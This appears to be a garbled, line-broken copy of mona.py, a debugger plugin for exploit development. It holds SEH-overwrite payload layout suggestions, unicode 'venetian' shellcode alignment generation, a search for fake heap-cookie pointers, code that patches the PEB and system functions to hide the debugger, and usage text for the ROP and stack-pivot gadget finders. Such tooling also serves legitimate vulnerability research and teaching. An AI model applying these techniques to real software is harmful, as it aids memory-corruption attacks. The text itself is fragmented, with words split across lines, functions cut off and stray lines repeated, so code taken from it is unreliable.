if selectedid in kb:
kbid = dbg.getKnowledge(
selectedid)
kbtype = kbid.__class__.
__name__
kbtitle = "Entries for I
D %s (type %s) :" % (selectedid,kbtype)
dbg.log(kbtitle)
dbg.log("-" * (len(kbtit
le)+2))
if selectedvalue != "":
dbg.log(" (Filt
er : %s)" % selectedvalue)
nrentries = 0
if kbtype == "dict":
for dictkey in k
bid:
if selec
tedvalue == "" or selectedvalue in dictkey:
logline = ""
if kbid[dictkey].__class__.__name__ == "int" or kb[dictkey].__class__.__name__ =
= "long":
logline = " %s : %d (0x%x)" % (str(dictkey),kbid[dictkey],kbid[dictkey])
else:
else:
vtablevalue = in
t(valueparts[1])
kbadd = {}
kbadd[vtablename] = vtab
levalue
dbg.addKnowledge(selecte
did,kbadd)
else:
dbg.log("*** Please prov
ide a valid value for -value")
dbg.log("*** KB %s conta
ins a list, please use a comma")
dbg.log("*** to separate
entries. First entry should be a string,")
dbg.log("*** Second entr
y should be an integer.")
return
else:
dbg.addKnowledge(selectedid,sele
ctedvalue)
dbg.log(" ")
dbg.log("ID %s updated." % selectedid)
else:
dbg.log("ID %s was not found in the Know
ledgebase" % selectedid)
if selectedcommand == "del":
if selectedid == "" or selectedid not in kb:
dbg.log("*** Please enter a valid ID wit
h -id",highlight=1)
return
else:
dbg.forgetKnowledge(selectedid,selectedv
alue)
if selectedvalue == "":
dbg.log("*** Entire ID %s removed from K
nowledgebase" % selectedid)
else:
dbg.log("*** Object %s in ID %s removed
from Knowledgebase" % (selectedvalue,selectedid))
return
def procBPSeh(self):
sehchain = dbg.getSehChain()
dbg.log("Nr of SEH records : %d" % len(sehchain))
if len(sehchain) > 0:
dbg.log("SEH Chain :")
dbg.log("-----------")
dbg.log("Address
Next SEH
Handler")
for sehrecord in sehchain:
address = sehrecord[0]
sehandler = sehrecord[1]
nseh = ""
try:
nsehvalue = struct.unpack('<L',d
bg.readMemory(address,4))[0]
nseh = "0x%08x" % nsehvalue
except:
nseh = "0x????????"
bpsuccess = True
try:
if __DEBUGGERAPP__ == "WinDBG":
bpsuccess = dbg.setBreak
point(sehandler)
else:
dbg.setBreakpoint(sehand
ler)
bpsuccess = True
except:
bpsuccess = False
bptext = ""
if not bpsuccess:
bptext = "BP failed"
else:
bptext = "BP set"
ptr = MnPointer(sehandler)
funcinfo = ptr.getPtrFunction()
dbg.log("0x%08x %s 0x%08x %s <- %s" %
(address,nseh,sehandler,funcinfo,bptext))
dbg.log("")
return "Done"
def procSehChain(self):
sehchain = dbg.getSehChain()
dbg.log("Nr of SEH records : %d" % len(sehchain))
handlersoverwritten = {}
if len(sehchain) > 0:
dbg.log("Start of chain (TEB FS:[0]) : 0x%08x" %
sehchain[0][0])
dbg.log("Address
Next SEH
Handler")
dbg.log("--------------------")
for sehrecord in sehchain:
address = sehrecord[0]
sehandler = sehrecord[1]
nseh = ""
try:
nsehvalue = struct.unpack('<L',d
bg.readMemory(address,4))[0]
nseh = "0x%08x" % nsehvalue
except:
nseh = 0
sehandler = 0
overwritedata = checkSEHOverwrite(addres
s,nseh,sehandler)
overwritemark = ""
funcinfo = ""
if sehandler > 0:
ptr = MnPointer(sehandler)
funcinfo = ptr.getPtrFunction()
else:
funcinfo = " (corrupted record)"
if str(nseh).startswith("0x"):
nseh = "0x%08x" % int(ns
eh,16)
else:
nseh = "0x%08x" % int(ns
eh)
if len(overwritedata) > 0:
handlersoverwritten[address] = o
verwritedata
smashoffset = int(overwritedata[
1])
typeinfo = ""
if overwritedata[0] == "unicode"
:
smashoffset += 2
typeinfo = " [unicode]"
overwritemark = " (record smashe
d at offset %d%s)" % (smashoffset,typeinfo)
dbg.log("0x%08x %s 0x%08x %s%s" % (add
ress,nseh,sehandler,funcinfo, overwritemark))
if len(handlersoverwritten) > 0:
dbg.log("")
dbg.log("Payload structure suggestion(s):")
for overwrittenhandler in handlersoverwritten:
overwrittendata = handlersoverwritten[ov
erwrittenhandler]
overwrittentype = overwrittendata[0]
overwrittenoffset = int(overwrittendata[
1])
if not overwrittentype == "unicode":
dbg.log("[Junk * %d]['\\xeb\\x06
\\x41\\x41'][p/p/r][shellcode][more junk if needed]" % (overwrittenoffset))
else:
overwrittenoffset += 2
dbg.log("[Junk * %d][nseh - walk
over][unicode p/p/r][venetian alignment][shellcode][more junk if needed]" % over
writtenoffset)
return
def procDumpLog(args):
logfile = ""
levels = 0
nestedsize = 0x28
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
logfile = args["f"]
if "l" in args:
if type(args["l"]).__name__.lower() != "bool":
if str(args["l"]).lower().startswith("0x
"):
try:
levels = int(args["l"],1
6)
except:
levels = 0
else:
try:
levels = int(args["l"])
except:
levels = 0
if "m" in args:
if type(args["m"]).__name__.lower() != "bool":
if str(args["m"]).lower().startswith("0x
"):
try:
nestedsize = int(args["m
"],16)
except:
nestedsize = 0x28
else:
try:
nestedsize = int(args["m
"])
except:
nestedsize = 0x28
if logfile == "":
dbg.log(" *** Error: please specify a valid logf
ile with argument -f ***",highlight=1)
return
allocs = 0
frees = 0
# open logfile and record all objects & sizes
logdata = {}
try:
dbg.log("[+] Parsing logfile %s" % logfile)
f = open(logfile,"rb")
contents = f.readlines()
f.close()
for tline in contents:
line = str(tline)
if line.startswith("alloc("):
size = ""
addy = ""
lineparts = line.split("(")
if len(lineparts) > 1:
sizeparts = lineparts[1]
.split(")")
size = sizeparts[0].repl
ace(" ","")
lineparts = line.split("=")
if len(lineparts) > 1:
linepartaddy = lineparts
[1].split(" ")
for lpa in linepartaddy:
if addy != "":
break
if lpa != "":
addy = l
pa
if size != "" and addy != "":
size = size.lower()
addy = addy.lower()
if not addy in logdata:
logdata[addy] =
size
allocs += 1
if line.startswith("free("):
addy = ""
lineparts = line.split("(")
if len(lineparts) > 1:
addyparts = lineparts[1]
.split(")")
addy = addyparts[0].repl
ace(" ","")
if addy != "":
addy = addy.lower()
if addy in logdata:
del logdata[addy
]
frees += 1
dbg.log("[+] Logfile parsed, %d objects found" %
len(logdata))
dbg.log("
(allocs,frees))
dbg.log("[+] Dumping objects")
logfile = MnLog("dump_alloc_free.txt")
thislog = logfile.reset()
for addy in logdata:
asize = logdata[addy]
ptrx = MnPointer(int(addy,16))
size = int(asize,16)
dumpdata = ptrx.dumpObjectAtLocation(siz
e,levels,nestedsize,thislog,logfile)
except:
dbg.log(" *** Unable to open logfile %s ***" % l
ogfile,highlight=1)
dbg.log(traceback.format_exc())
return
return
def procDumpObj(args):
addy = 0
levels = 0
size = 0
nestedsize = 0x28
regs = dbg.getRegs()
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
if str(args["s"]).lower().startswith("0x
"):
try:
size = int(args["s"],16)
except:
size = 0
else:
try:
size = int(args["s"])
except:
size = 0
if "l" in args:
if type(args["l"]).__name__.lower() != "bool":
if str(args["l"]).lower().startswith("0x
"):
try:
levels = int(args["l"],1
6)
except:
levels = 0
else:
try:
levels = int(args["l"])
except:
levels = 0
if "m" in args:
if type(args["m"]).__name__.lower() != "bool":
if str(args["m"]).lower().startswith("0x
"):
try:
nestedsize = int(args["m
"],16)
except:
nestedsize = 0
else:
try:
nestedsize = int(args["m
"])
except:
nestedsize = 0
errorsfound = False
if addy == 0:
errorsfound = True
dbg.log("*** Please specify a valid address to a
rgument -a ***",highlight=1)
else:
ptrx = MnPointer(addy)
osize = size
if size == 0:
# no size specified
if addy > 0:
dbg.log("[+] No size specified, checking
if address is part of known heap chunk")
if ptrx.isInHeap():
heapinfo = ptrx.getHeapInfo()
heapaddy = heapinfo[0]
chunkobj = heapinfo[3]
if not heapaddy == None:
if heapaddy > 0:
chunkaddy = chun
kobj.chunkptr
size = chunkobj.
usersize
dbg.log("
Add
ress found in chunk 0x%08x, heap 0x%08x, (user)size 0x%02x" % (chunkaddy, heapad
dy, size))
addy = chunkobj.
userptr
"
xfff
if size > 0xfff and osize > 0:
errorsfound = True
dbg.log("*** Please keep the size below 0xfff (a
rgument -s) ***",highlight=1)
if size == 0:
size = 0x28
if levels > 0 and nestedsize == 0:
errorsfound = True
dbg.log("*** Please specify a valid size to argu
ment -m ***",highlight=1)
if not errorsfound:
ptrx = MnPointer(addy)
dumpdata = ptrx.dumpObjectAtLocation(size,levels
,nestedsize)
return
# routine to copy bytes from one location to another
def procCopy(args):
src = 0
dst = 0
nrbytes = 0
regs = dbg.getRegs()
if "src" in args:
if type(args["src"]).__name__.lower() != "bool":
src,addyok = getAddyArg(args["src"])
if "dst" in args:
if type(args["dst"]).__name__.lower() != "bool":
dst,addyok = getAddyArg(args["dst"])
if "n" in args:
if type(args["n"]).__name__.lower() != "bool":
if str(args['n']).lower().startswith("0x
"):
try:
nrbytes = int(args["n"],
16)
except:
nrbytes = 0
else:
try:
nrbytes = int(args["n"])
except:
nrbytes = 0
errorsfound = False
if src == 0:
errorsfound = True
dbg.log("*** Please specify a valid source addre
ss to argument -src ***",highlight=1)
if dst == 0:
errorsfound = True
bufferRegister = 'eax'
elif args["b"].lower().strip() == "ebx":
bufferRegister = 'ebx'
elif args["b"].lower().strip() == "ecx":
bufferRegister = 'ecx'
elif args["b"].lower().strip() == "edx":
bufferRegister = 'edx'
else:
dbg.log("Please enter a valid register w
ith argument -b")
dbg.log("Valid registers are: eax, ebx,
ecx, edx")
showerror = True
if "t" in args and args["t"] != "":
try:
timeToRun = int(args["t"])
if timeToRun < 0:
timeToRun = timeToRun * (-1)
except:
dbg.log("Please enter a valid integer fo
r -t",highlight=1)
showerror=True
if "ebp" in args and args["ebp"] != "":
try:
registers["ebp"] = int(args["ebp"],16)
except:
dbg.log("Please enter a valid value for
ebp",highlight=1)
showerror=True
dbg.log("[+] Start address for venetian alignment routin
e: 0x%08x" % address)
dbg.log("[+] Will prepend alignment with null byte compe
nsation? %s" % str(leaks).lower())
# ebp must be writeable for this routine to work
value_of_ebp = regs["EBP"]
dbg.log("[+] Checking if ebp (0x%08x) is writeable" % va
lue_of_ebp)
ebpaccess = getPointerAccess(value_of_ebp)
if not "WRITE" in ebpaccess:
dbg.log("[!] Warning! ebp does not appear to be
writeable!",highlight = 1)
dbg.log("
You will have to run some custom in
structions first to make ebp writeable")
dbg.log("
and at that point, run this mona co
mmand again.")
dbg.log("
Hints: maybe you can pop something
off the stack into ebp,")
dbg.log("
or push esp and pop it into ebp.")
showerror = True
else:
dbg.log("
OK (%s)" % ebpaccess)
if not showerror:
alignresults = prepareAlignment(leaks, address,
bufferRegister, timeToRun, registers)
# write results to file
if len(alignresults) > 0:
if not silent:
%s" % resultline.strip(),thislog)
logfile.write("H
ex:",thislog)
logfile.write("'
%s'" % theseresults[resultinstructions],thislog)
logfile.write("",thislog
)
return alignresults
def prepareAlignment(leaks, address, bufferRegister, timeToRun,
registers):
def getRegister(registerName):
registerName = registerName.upper()
regs = dbg.getRegs()
if registerName in regs:
return regs[registerName]
def calculateNewXregister(x,h,l):
return ((x>>16)<<16)+(h<<8)+l
prefix = ""
postfix = ""
additionalLength = 0 #Length of the prefix+postfix instr
uctions in after-unicode-conversion bytes
code_to_get_rid_of_zeros = "add [ebp],ch; " #\x6d --> \x
00\x6d\x00
buf_sig = bufferRegister[1]
registers_to_fill = ["ah", "al", "bh", "bl", "ch", "cl",
"dh", "dl"] #important: h's first!
registers_to_fill.remove(buf_sig+"h")
registers_to_fill.remove(buf_sig+"l")
leadingZero = leaks
004300", "\\xb8\\x00\\x43\\x00\\x41"),
("mov ebx,0x41
00af00", "\\xbb\\x00\\xaf\\x00\\x41"),
("mov ecx,0x41
004300", "\\xb9\\x00\\x43\\x00\\x41"),
("mov edx,0x41
004300", "\\xba\\x00\\x43\\x00\\x41")]:
for i in range(0,256):
padding =""
if i < 16:
padding = "0"
new_instr = example_instr[:14]+p
adding+hex(i)[2:]+example_instr[16:]
new_op = example_op[:10]+padding
+hex(i)[2:]+example_op[12:]
ass_operation[new_instr] = new_o
p
res = ""
for instr in inputInstr.split("; "):
if instr in ass_operation:
res += ass_operation[instr].repl
ace("\\x00","")
elif instr.strip():
warn("
Couldn't find metasm a
ssembly for %s" % str(instr))
warn("
if not silent:
dbg.log("[+] Searching for random solutions for
code alignment code in at least %i possibilities..." % mul)
dbg.log("
Bufferregister: %s" % bufferRegiste
r)
dbg.log("
Max time: %d seconds" % timeToRun)
dbg.log("")
#We can't even know the value of AH yet (no, it's NOT g1
for high instruction counts)
cyclic2 = copy.copy(cyclic)
cyclic2[names.index(buffer_registers_4_byte_names[0])] =
9999999
number_of_tries = 0.0
beginning = time.time()
resultFound = False
resultcnt = 0
while time.time()-beginning < timeToRun: #Run only timeT
oRun seconds!
randomise(xs, cyclic)
randomise(ys, cyclic2)
#[Extra constraint!]
#not allowed: all operations with the bufferRegi
ster,
#because we can not rely on it's values, e.g.
#add al, al
#add al, ah
#add ah, ah
#add ah, al
xs[names.index(buffer_registers_4_byte_names[0])
] = 0
xs[names.index(buffer_registers_4_byte_names[1])
] = 0
ys[names.index(buffer_registers_4_byte_names[0])
] = 0
ys[names.index(buffer_registers_4_byte_names[1])
] = 0
tmp = check(originals, names.index(buffer_regist
ers_4_byte_names[0]), [s1, s2], [g1, g2], xs, ys, additionalLength, best_result)
if tmp > 0:
best_result = tmp
#we got a new result
resultFound = True
alignresults[resultcnt] = printNicely(na
mes, buffer_registers_4_byte_names, xs, ys, additionalLength, prefix, postfix)
resultcnt += 1
if not silent:
dbg.log("
Time elapsed so far
: %s seconds" % (time.time()-beginning))
dbg.log("")
#Slightly increases probability of resetting wit
h time
probability = MAGIC_PROBABILITY_OF_RESETTING+num
ber_of_tries/(10**8)
if probability < MAGIC_MAX_PROBABILITY_OF_RESETT
ING:
number_of_tries += 1.0
if random.random() <= probability:
xs = [0 for i in range(0,len(originals))
]
ys = [0 for i in range(0,len(originals))
]
if not silent:
dbg.log("")
dbg.log("
Done. Total time elapsed: %s second
s" % (time.time()-beginning))
if not resultFound:
dbg.log("")
dbg.log("No results. Please try again (y
ou might want to increase -t)")
dbg.log("")
dbg.log("If you are unsatisfied with the result,
run the command again and use the -t option")
dbg.log("")
return alignresults
# end unicode alignemt routines
def procHeapCookie(args):
# first find all writeable pages
allpages = dbg.getMemoryPages()
filename="heapcookie.txt"
orderedpages = []
cookiemonsters = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
for thispage in orderedpages:
page = allpages[thispage]
page_base = page.getBaseAddress()
page_size = page.getSize()
page_end = page_base + page_size
acl = page.getAccess(human=True)
if "WRITE" in acl:
processpage = True
# don't even bother if page belongs to m
odule that is ASLR/Rebased
pageptr = MnPointer(page_base)
thismodulename = pageptr.belongsTo()
if thismodulename != "":
thismod = MnModule(thismodulenam
e)
if thismod.isAslr or thismod.isR
ebase:
processpage = False
if processpage:
dbg.log("[+] Walking page 0x%08x
- 0x%08x (%s)" % (page_base,page_end,acl))
startptr = page_base # we need
to start here
while startptr < page_end-16:
# pointer needs to pass
3 tests
try:
heap_entry = sta
rtptr
userptr = heap_e
ntry + 0x8
cookieptr = heap
_entry + 5
raw_heapcookie =
dbg.readMemory(cookieptr,1)
heapcookie = str
uct.unpack("<B",raw_heapcookie)[0]
hexptr1 = "%08x"
% userptr
hexptr2 = "%08x"
% heapcookie
a1 = hexStrToInt
(hexptr1[6:])
a2 = hexStrToInt
(hexptr2[6:])
test1 = False
test2 = False
test3 = False
if (a1 & 7) == 0
:
test1 =
True
if (a2 & 1) == 1
:
test2 =
True
if (a2 & 8) == 8
:
test3 =
True
if test1 and tes
t2 and test3:
cookiemo
nsters.append(startptr+0x8)
except:
pass
startptr += 1
dbg.log("")
if len(cookiemonsters) > 0:
# write to log
dbg.log("Found %s (fake) UserPtr pointers." % le
n(cookiemonsters))
all_ptrs = {}
all_ptrs[""] = cookiemonsters
logfile = MnLog(filename)
thislog = logfile.reset()
processResults(all_ptrs,logfile,thislog)
else:
dbg.log("Bad luck, no results.")
return
def procFlags(args):
currentflag = getNtGlobalFlag()
dbg.log("[+] NtGlobalFlag: 0x%08x" % currentflag)
flagvalues = getNtGlobalFlagValues(currentflag)
if len(flagvalues) == 0:
dbg.log("
No GFlags set")
else:
for flagvalue in flagvalues:
dbg.log("
0x%08x : %s" % (flagvalue,g
etNtGlobalFlagValueName(flagvalue)))
return
def procChangeACL(args):
size = 1
addy = 0
acl = ""
addyerror = False
aclerror = False
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if not addyok:
addyerror = True
if "acl" in args:
if type(args["acl"]).__name__.lower() != "bool":
if args["acl"].upper() in memProtConstan
ts:
acl = args["acl"].upper()
else:
aclerror = True
else:
aclerror = True
if addyerror:
dbg.log(" *** Please specify a valid address to
argument -a ***")
if aclerror:
dbg.log(" *** Please specify a valid memory prot
ection constant with -acl ***")
dbg.log(" *** Valid values are :")
for acltype in memProtConstants:
dbg.log("
%s (%s = 0x%02x)" % (toSiz
e(acltype,10),memProtConstants[acltype][0],memProtConstants[acltype][1]))
if not addyerror and not aclerror:
pageacl = memProtConstants[acl][1]
pageaclname = memProtConstants[acl][0]
dbg.log("[+] Current ACL: %s" % getPointerAccess
(addy))
dbg.log("[+] Desired ACL: %s (0x%02x)" % (pageac
lname,pageacl))
retval = dbg.rVirtualAlloc(addy,1,0x1000,pageacl
)
return
def procToBp(args):
"""
addyerror = False
byteerror = False
fillup = False
writemore = False
fillbyte = "A"
acl = "RWX"
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
sval = args["s"]
if sval.lower().startswith("0x"):
try:
size = int(sval,16)
except:
sizeerror = True
else:
try:
size = int(sval)
except:
sizeerror = True
else:
sizeerror = True
if "b" in args:
if type(args["b"]).__name__.lower() != "bool":
try:
fillbyte = hex2bin(args["b"])[0]
except:
dbg.log(" *** Invalid byte speci
fied with -b ***")
byteerror = True
if size < 0x1:
sizeerror = True
dbg.log(" *** Minimum size is 0x1 bytes ***",hig
hlight=1)
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if not addyok:
addyerror = True
if "fill" in args:
fillup = True
if "force" in args:
writemore = True
aclerror = False
if "acl" in args:
if type(args["acl"]).__name__.lower() != "bool":
if args["acl"].upper() in memProtConstan
ts:
acl = args["acl"].upper()
else:
aclerror = True
dbg.log(" *** Please specify a v
alid memory protection constant with -acl ***")
dbg.log(" *** Valid values are :
")
ageaclname,pageacl))
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
allocat = dbg.rVirtualAlloc(addy,size,0x1000,pag
eacl)
if addy == 0 and allocat > 0:
retval = dbg.rVirtualProtect(allocat,1,p
ageacl)
else:
retval = dbg.rVirtualProtect(addy,1,page
acl)
dbg.log("[+] Allocated memory at 0x%08x" % alloc
at)
#if allocat > 0:
#
dbg.log("
#else:
#
dbg.log("
getPointerAccess(allocat)))
PointerAccess(addy)))
if allocat == 0 and fillup and not writemore:
dbg.log("[+] It looks like the page was
already mapped. Use the -force argument")
dbg.log("
to make me write to 0x%08x
anyway" % addy)
if (allocat > 0 and fillup) or (writemore and fi
llup):
loc = 0
written = 0
towrite = size
while loc < towrite:
try:
dbg.writeMemory(addy+loc
,fillbyte)
written += 1
except:
pass
loc += 1
dbg.log("[+] Wrote %d times \\x%s to chu
nk at 0x%08x" % (written,bin2hex(fillbyte),addy))
return
def procHideDebug(args):
peb = dbg.getPEBAddress()
dbg.log("[+] Patching PEB (0x%08x)" % peb)
if peb == 0:
dbg.log("** Unable to find PEB **")
return
isdebugged = struct.unpack('<B',dbg.readMemory(peb + 0x0
2,1))[0]
processheapflag = dbg.readLong(peb + 0x18)
processheapflag += 0x10
processheapvalue = dbg.readLong(processheapflag)
ntglobalflag = dbg.readLong(peb + 0x68)
dbg.log("
Patching PEB.IsDebugged
x" % (isdebugged,0))
dbg.writeMemory(peb + 0x02, '\x00')
dbg.log("
Patching PEB.ProcessHeap.Flag : 0x%x -> 0x%
x" % (processheapvalue,0))
dbg.writeLong(processheapflag,0)
dbg.log("
Patching PEB.NtGlobalFlag
x" % (ntglobalflag,0))
dbg.writeLong(peb + 0x68, 0)
dbg.log("
Patching PEB.LDR_DATA Fill pattern")
a = dbg.readLong(peb + 0xc)
while a != 0:
a += 1
try:
b = dbg.readLong(a)
c = dbg.readLong(a + 4)
if (b == 0xFEEEFEEE) and (c == 0xFEEEFEE
E):
dbg.writeLong(a,0)
dbg.writeLong(a + 4,0)
a += 7
except:
break
uef = dbg.getAddress("kernel32.UnhandledExceptionFilter"
)
if uef > 0:
dbg.log("[+] Patching kernel32.UnhandledExceptio
nFilter (0x%08x)" % uef)
uef += 0x86
dbg.writeMemory(uef, dbg.assemble(" \
PUSH EDI \
"))
else:
EAX, [EBP + C]
\n \
PUSH 0
\n \
POP
[EAX]
XOR
EAX, EAX
POP
EBP
RET
\n \
\n \
\n \
\
" ) )
else:
dbg.log("[-] Unable to patch CheckRemoteDebugger
Present")
gtc = dbg.getAddress("kernel32.GetTickCount")
if gtc > 0:
dbg.log("[+] Patching GetTickCount (0x%08x)" % g
tc)
patch = dbg.assemble("MOV EDX, 0x7FFE0000") + Po
ly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret")
while len(patch) > 0x0F:
patch = dbg.assemble("MOV EDX, 0x7FFE000
0") + Poly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret")
dbg.writeMemory( gtc, patch )
else:
dbg.log("[-] Unable to pach GetTickCount")
zwq = dbg.getAddress("ntdll.ZwQuerySystemInformation")
if zwq > 0:
dbg.log("[+] Patching ZwQuerySystemInformation (
0x%08x)" % zwq)
isPatched = False
a = 0
s = 0
while a < 3:
a += 1
s += dbg.disasmSizeOnly(zwq + s).opsize
FakeCode = dbg.readMemory(zwq, 1) + "\x78\x56\x3
4\x12" + dbg.readMemory(zwq + 5, 1)
if FakeCode == dbg.assemble("PUSH 0x12345678\nRE
T"):
isPatched = True
a = dbg.readLong(zwq+1)
i = 0
s = 0
while i < 3:
i += 1
s += dbg.disasmSizeOnly(a+s).ops
ize
if isPatched:
dbg.log("
d.")
else:
a = dbg.remoteVirtualAlloc(size=0x1000)
if a > 0:
dbg.log("
Writing instruction
s to 0x%08x" % a)
dbg.writeMemory(a, dbg.readMemor
y(zwq,s))
pushCode = dbg.assemble("PUSH 0x
%08x" % (zwq + s))
patchCode = "\x83\x7c\x24\x08\x0
7"
# CMP [ESP+8],7
patchCode += "\x74\x06"
patchCode += pushCode
patchCode += "\xC3"
# RETN
patchCode += "\x8B\x44\x24\x0c"
# MOV EAX,[ESP+0x0c]
patchCode += "\x6a\x00"
# PUSH 0
patchCode += "\x8f\x00"
# POP [EAX]
patchCode += "\x33\xC0"
# XOR EAX,EAX
patchCode += "\xC2\x14\x00"
# RETN 14
dbg.writeMemory( a + s, patchCod
e)
# redirect function
dbg.writeMemory( zwq, dbg.assemb
le( "PUSH 0x%08X\nRET" % a) )
else:
dbg.log("
** Unable to alloca
Make sure to use files that are created with the same version of mona and
contain the output of the same mona command.
Mandatory argument : -f \"file1,file2,...filen\"
Put all filenames between one set of double quotes, and separate files with comm
a's.
You can specify a foldername as well with -f, all files in the root of that fold
er will be part of the compare.
Output will be written to filecompare.txt and filecompare_not.txt (not matching
pointers)
Optional parameters :
-contains \"INSTRUCTION\" (will only list if instruction is found)
-nostrict (will also list pointer is instructions don't match in all files)
-range <number> : find overlapping ranges for all pointers + range.
When using -range, the -contains and -nostrict options wil
l be ignored
-ptronly : only show matching pointers (slightly faster). Doesn't work when
'range' is used"""
patcreateUsage="""Create a cyclic pattern of a given size. Outpu
t will be written to pattern.txt
Mandatory argument : size (numberic value)
Optional arguments :
-js : output pattern in unicode escaped javascript format
-extended : extend the 3rd characterset (numbers) with punctuation marks etc
-c1 <chars> : set the first charset to this string of characters
-c2 <chars> : set the second charset to this string of characters
-c3 <chars> : set the third charset to this string of characters"""
patoffsetUsage="""Find the location of 4 bytes in a cyclic patte
rn
Mandatory argument : the 4 bytes to look for
Note : you can also specify a register
Optional arguments :
-extended : extend the 3rd characterset (numbers) with punctuation marks etc
-c1 <chars> : set the first charset to this string of characters
-c2 <chars> : set the second charset to this string of characters
-c3 <chars> : set the third charset to this string of characters
Note : the charset must match the charset that was used to create the pattern !
"""
findwildUsage = """Find instructions in memory, accepts wildcard
s :
Mandatory arguments :
-s <instruction#instruction#instruction> (separate instructions with #)
Optional arguments :
-b <address> : base/bottom address of the search range
-t <address> : top address of the search range
-depth <nr> : number of instructions to go deep
-all : show all instruction chains, even if it contains something that m
ight break the chain
-distance min=nr,max=nr : you can use a numeric offset wildcard (a singl
e *) in the first instruction of the search
the distance parameter allows you to specify the range of the offset
Inside the instructions string, you can use the following wildcards :
* = any instruction
r32 = any register
Example : pop r32#*#xor eax,eax#*#pop esi#ret
"""
Mandatory arguments :
-a1 <address> : the first address/register
-a2 <address> : the second address/register"""
bpUsage = """Set a breakpoint when a given address is read from,
written to or executed
Mandatory arguments :
-a <address> : the address where to set the breakpoint
(absolute address / register / modulename!functionname)
-t <type> : type of the breakpoint, can be READ, WRITE or SFX"""
bfUsage = """Set a breakpoint on exported or imported function(s
) of the selected modules.
Mandatory argument :
-t <type> : type of breakpoint action. Can be 'add', 'del' or 'list'
Optional arguments :
-f <function type> : set to 'import' or 'export' to read IAT or EAT. Default
: export
-s <func,func,func> : specify function names.
If you want a bp on all functions, set -s to *"""
nosafesehUsage = """Show modules that are not safeseh protected"
""
nosafesehaslrUsage = """Show modules that are not safeseh protec
ted, not subject to ASLR, and won't get rebased either"""
noaslrUsage = """Show modules that are not subject to ASLR and w
on't get rebased"""
findmspUsage = """Finds begin of a cyclic pattern in memory, loo
ks if one of the registers contains (is overwritten) with a cyclic pattern
or points into a cyclic pattern. findmsp will also look if a SEH record is overw
ritten and finally,
it will look for cyclic patterns on the stack, and pointers to cyclic pattern on
the stack.
Optional argument :
-distance <value> : distance from ESP, applies to search on the stack. Defau
lt : search entire stack
Note : you can use the same options as with pattern_create and pattern_offset in
terms of defining the character set to use"""
suggestUsage = """Suggests an exploit buffer structure based on
pointers to a cyclic pattern
Note : you can use the same options as with pattern_create and pattern_offset in
terms of defining the character set to use
Mandatory argument in case you are using WinDBG:
-t <type:arg> : skeletontype. Valid types are :
tcpclient:port, udpclient:port, fileformat:extension
Examples : -t tcpclient:21
-t fileformat:pdf"""
bytearrayUsage = """Creates a byte array, can be used to find ba
d characters
Optional arguments :
-cpb <bytes> : bytes to exclude from the array. Example : '\\x00\\x0a\\x0d'
Note: you can specify wildcards using ..
Example: '\\x00\\x0a..\\x20\\x32\\x7f..\\xff'
-r : show array backwards (reversed), starting at \\xff
Output will be written to bytearray.txt, and binary output will be written t
o bytearray.bin"""
headerUsage = """Convert contents of a binary file to code that
ction pointers"""
kbUsage = """Manage knowledgebase data
Mandatory arguments:
-<type> : type can be 'list', 'set' or 'del'
To 'set' ( = add / update ) a KB entry, or 'del' an entry,
you will need to specify 2 additional arguments:
-id <id> : the Knowledgebase ID
-value <value> : the value to add/update. In case of lists, use a comma
to separate entries.
The -list parameter will show all current ID's
To see the contents of a specific ID, use the -id <id> parameter."""
macroUsage = """Manage macros for WinDBG
Arguments:
-run <macroname> : run the commands defined in the specified macro
-show <macroname> : show all commands defined in the specified macro
-add <macroname> : create a new macro
-set <macroname> -index <nr> -cmd <windbg command(s)> : edit a macro
If you set the -command value to #, the command at the specified
index
will be removed. If you have specified an existing index, the co
mmand
at that position will be replaced, unless you've also specified t
he -insert parameter.
If you have not specified an index, the command will be appended
to he list.
-set <macroname> -file <filename> : will tell this macro to execute all inst
ructions in the
specified file. You can only enter one file per macro.
-del <macroname> -iamsure: remove the specified macro. Use with care, I won'
t ask if you're sure."""
sehchainUsage = """Displays the SEH chain for the current thread
.
This command will also attempt to display offsets and suggest a payload structur
e
in case a cyclic pattern was used to overwrite the chain."""
heapCookieUsage = """Will attempt to find reliable writeable poi
nters that can help avoiding
a heap cookie check during an arbitrary free on Windows XP"""
hidedebugUsage = """Will attempt to hide the debugger from the p
rocess"""
gflagsUsage = """Will show the currently set GFlags, based on th
e PEB.NtGlobalFlag value"""
fwptrUsage = """Search for calls to pointers in a writeable loca
tion,
will assist with finding a good target for 4byte arbitrary writes
Optional arguments:
-bp : Set breakpoints on all found CALL instructions
-patch : Patch the target of each CALL with 0x41414141
-chunksize <nr> : only list the pointer if location-8 bytes contains a size
value larger than <nr>
(size in blocks, not bytes)
-offset <nr> : add <nr> bytes of offset within chunk, after flink/blink poin
ter
(use in combination with -freelist and -chunksize <nr>)
-freelist : Search for fwptr that are preceeded by 2 readable pointers that
be placed
: If -a is not specified, the current value in EIP will be
used.
-l
valent
: Address of object
: Size of object (default value: 0x28 or size of chunk)
: Recursively dump objects
: Size for recursive objects (default value: 0x28)
in",ropfuncUsage,procFindROPFUNC)
commands["rop"]
= MnCommand("rop","Finds
gadgets that can be used in a ROP exploit and do ROP magic with them",ropUsage,
procROP)
commands["jop"]
= MnCommand("jop","Finds
gadgets that can be used in a JOP exploit",jopUsage,procJOP)
commands["stackpivot"]
= MnCommand("stackpivot","Finds
stackpivots (move stackpointer to controlled area)",stackpivotUsage,procStackPiv
ots)
commands["modules"]
= MnCommand("modules","Show all
loaded modules and their properties",modulesUsage,procShowMODULES,"mod")
commands["filecompare"]
= MnCommand("filecompare","Compa
res 2 or more files created by mona using the same output commands",filecompareU
sage,procFileCOMPARE,"fc")
commands["pattern_create"]
= MnCommand("pattern_create","Cr
eate a cyclic pattern of a given size",patcreateUsage,procCreatePATTERN,"pc")
commands["pattern_offset"]
= MnCommand("pattern_offset","Fi
nd location of 4 bytes in a cyclic pattern",patoffsetUsage,procOffsetPATTERN,"po
")
commands["find"]
